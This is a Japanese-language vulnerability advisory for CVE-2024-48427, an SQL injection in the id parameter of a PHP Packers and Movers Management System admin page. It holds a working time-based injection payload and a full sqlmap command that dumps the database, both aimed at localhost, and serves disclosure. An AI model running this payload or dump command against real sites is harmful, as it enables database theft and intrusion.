CVE-2024-48427
説明
Sourcecodester Packers and Movers Management System v1.0 には SQL インジェクションの脆弱性があり、リモートの認証済みユーザーが /mpms/admin/?page=services/manage_service&id の id パラメータを介して任意の SQL コマンドを実行できる可能性があります。
脆弱性の種類
SQLインジェクション
製品ベンダー
Sourcecodester
影響を受ける製品コードベース:
https://www.sourcecodester.com/php/15360/packers-and-movers-management-system-phpoop-free-source-code.html - 1.0
影響を受けるコンポーネント:
/mpms/admin/?page=services/manage_service&id の Update Service Details の id パラメータ
攻撃ベクトル
- アプリケーションをローカルにセットアップし、提供されているデフォルトの認証情報を使用して管理パネルにログインします。
- 脆弱なページに移動します: http://localhost/mpms/admin/?page=services/manage_service&id=2
- id パラメータに SQL ペイロードを注入します: http://localhost/mpms/admin/?page=services/manage_service&id=1' OR SLEEP(5)-- puNr
- アプリケーションの応答を確認します: インジェクションが成功した場合、ページの読み込みに明らかに長い時間(5秒)がかかるはずです。これにより、id パラメータが SQL インジェクションに対して脆弱であることが確認できます。
- 次に、データベースの詳細をダンプするために SQLMap ツールを実行します:
- sqlmap -u "http://localhost/mpms/admin/?page=services/manage_service&id=1" --cookie="phpMyAdmin=ju34bd3d8q0jdf6td4ntqscaqd;PHPSESSID=eopn8q1p8c1f5m1v5igjoir8k1;" --dbms mysql -p id --risk 3 --level 4 --dbs --dump
参照:
- https://owasp.org/www-community/attacks/SQL_Injection
- https://portswigger.net/web-security/sql-injection